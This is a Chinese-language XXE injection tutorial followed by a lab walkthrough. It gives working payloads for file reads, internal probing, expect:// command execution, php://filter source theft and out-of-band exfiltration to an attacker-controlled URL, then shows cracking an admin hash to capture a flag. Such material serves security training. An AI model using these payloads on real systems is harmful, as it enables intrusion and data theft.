各语言XXE漏洞支持的协议
黑盒测试怎么查找XXE漏洞
1.数据类型格式一般XML格式语句都有可能存在XXE漏洞
2.查看Content-Type值判断:application/xml或者txt.xml
3.修改Content-Type值看看是否存在XXE漏洞
- 以某靶场为例查看原始数据包
- 将Content-Type:application/json 改为Content-Type:application/xml,数据包改成XML实体值,发现可以读取到/etc/passwd文件的内容
常用攻击语句
读文件
注:前提要知道服务器文件的绝对路径,&XXE为ENTITY定义的实体名称
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///d://test.txt">
]>
<x>&xxe;</x>
内网探针
注:可对内网主机,开放端口,文件进行爆破
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://URL:port/文件" >
]>
<x>&rabbit;</x>
RCE
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "expect://id" >
]>
<x>&xxe;</x>
外部实体引入
注:一般情况下http://url:port/x.dtd填写公网Web网站文件路径
<?xml version="1.0" ?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "http://url:port/x.dtd">
%file;
]>
<x>&send;</x>
X.dtd内容:
<!ENTITY send SYSTEM "file:///d:/test.txt">
!意思是访问服务器d盘下test.txt文件实战中可以换成/ect/passwd等
读取PHP文件
注:因为PHP文件中有一些特殊的符号比如<>=/等,在XML解析的时候会当成XML语法来解析,则产生错误,
所有不能用file协议直接读取文件,此时我们可以利用Base64加密来读取文件内容
<?xml version = "1.0"?>
<!DOCTYPE ANY [ <!ENTITY f SYSTEM
"php://filter/read=convert.base64-encode/resource=/xxe.php"> ]> !/xee.php文件绝对路径
<x>&f;</x>
无回显读取文件
当我们输入XML文件时没有回显,我们可以利用以下语句,从自己的网站日志文件中查看XML内容
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/test.txt">
<!ENTITY % dtd SYSTEM "http://公网URL/test.dtd">
%dtd;
%send;
]>
test.dtd:
<!ENTITY % payload
"<!ENTITY % send SYSTEM 'http://公网URL/?data=%file;'>"
>
%payload;
实验-记录仿真实网站环境的XXE
1.在虚拟机中开好一个XXE网站,我们不知道登录该虚机的账号密码以及IP地址。
2.因为此虚机是在NAT模式下的,使用nmap -sS 192.168.30.1/24进行内网扫描,发现192.168.30.130开放了一个80端口。
3.访问该界面并且使用目录扫描工具进行扫描,发现该网站存在robots.txt文件
注:robots.txt里面的内容是用来禁止搜索引擎收录的,一般都是敏感目录
4.访问/admin.php和和/XXE界面发现,admin.php界面报错,/XXE/存在登录界面框
5.在/XXE/界面下随便输入一个账号密码进行抓包,发现该界面有可能存在XXE漏洞
6.尝试使用下面的pyload读取admin.php源码(一般无回显都采用bs64进行加密传输)
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>admin</password></root>
7.将得出来的数据进行base64解密,查看admin.php文件,发现账号密码以及登录界面,用户名:administhebest,密码为:e6e061838856bf47e1de730719fb2609,将密码进行md5解密得出密码为:admin@123
<?php
session_start();
?>
<html lang = "en">
<head>
<title>admin</title>
<link href = "css/bootstrap.min.css" rel = "stylesheet">
<style>
body {
padding-top: 40px;
padding-bottom: 40px;
background-color: #ADABAB;
}
.form-signin {
max-width: 330px;
padding: 15px;
margin: 0 auto;
color: #017572;
}
.form-signin .form-signin-heading,
.form-signin .checkbox {
margin-bottom: 10px;
}
.form-signin .checkbox {
font-weight: normal;
}
.form-signin .form-control {
position: relative;
height: auto;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
box-sizing: border-box;
padding: 10px;
font-size: 16px;
}
.form-signin .form-control:focus {
z-index: 2;
}
.form-signin input[type="email"] {
margin-bottom: -1px;
border-bottom-right-radius: 0;
border-bottom-left-radius: 0;
border-color:#017572;
}
.form-signin input[type="password"] {
margin-bottom: 10px;
border-top-left-radius: 0;
border-top-right-radius: 0;
border-color:#017572;
}
h2{
text-align: center;
color: #017572;
}
</style>
</head>
<body>
<h2>Enter Username and Password</h2>
<div class = "container form-signin">
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username'])
&& !empty($_POST['password'])) {
if ($_POST['username'] == 'administhebest' &&
md5($_POST['password']) == 'e6e061838856bf47e1de730719fb2609') {
$_SESSION['valid'] = true;
$_SESSION['timeout'] = time();
$_SESSION['username'] = 'administhebest';
echo "You have entered valid use name and password <br />";
$flag = "Here is the <a style='color:FF0000;' href='/flagmeout.php'>Flag</a>";
echo $flag;
}else {
$msg = 'Maybe Later';
}
}
?>
</div> <!-- W00t/W00t -->
<div class = "container">
<form class = "form-signin" role = "form"
action = "<?php echo htmlspecialchars($_SERVER['PHP_SELF']);
?>" method = "post">
<h4 class = "form-signin-heading"><?php echo $msg; ?></h4>
<input type = "text" class = "form-control"
name = "username"
required autofocus></br>
<input type = "password" class = "form-control"
name = "password" required>
<button class = "btn btn-lg btn-primary btn-block" type = "submit"
name = "login">Login</button>
</form>
Click here to clean <a href = "adminlog.php" tite = "Logout">Session.
</div>
</body>
</html>
8.利用该账号从/xxe/admin.php界面进行登录,看到Flag选项点击。
9.此时发现点击之后该报错,我们再次利用xxe注入读取flagmeout.php源代码
pyload
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=./flagmeout.php">
]>
<root><name>&sp;</name><password>hj</password></root>
10.通过读取flagmeout.php源代码,获得加密后的字符串,通过bs32位解密
注:Base32位加密后的对象一般是由32位大写字母和数字组合成的。
解密一次之后发现还有一层使用base64加密,解密之后得到一个/etc/.flag.php目录
注:base64位加密根据加密对象大小长度来绝定生成字符串的长度,并且由大小字母、数字或者=组成
11.使用xxe注入读取/etc/.flag.php内容
pyload
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&sp;</name><password>admin</password></root>
解密后结果:
这结果我也看不懂就去百度搜了一下,发现是变量特征字符
利用php在线工具进行运行一下得出flag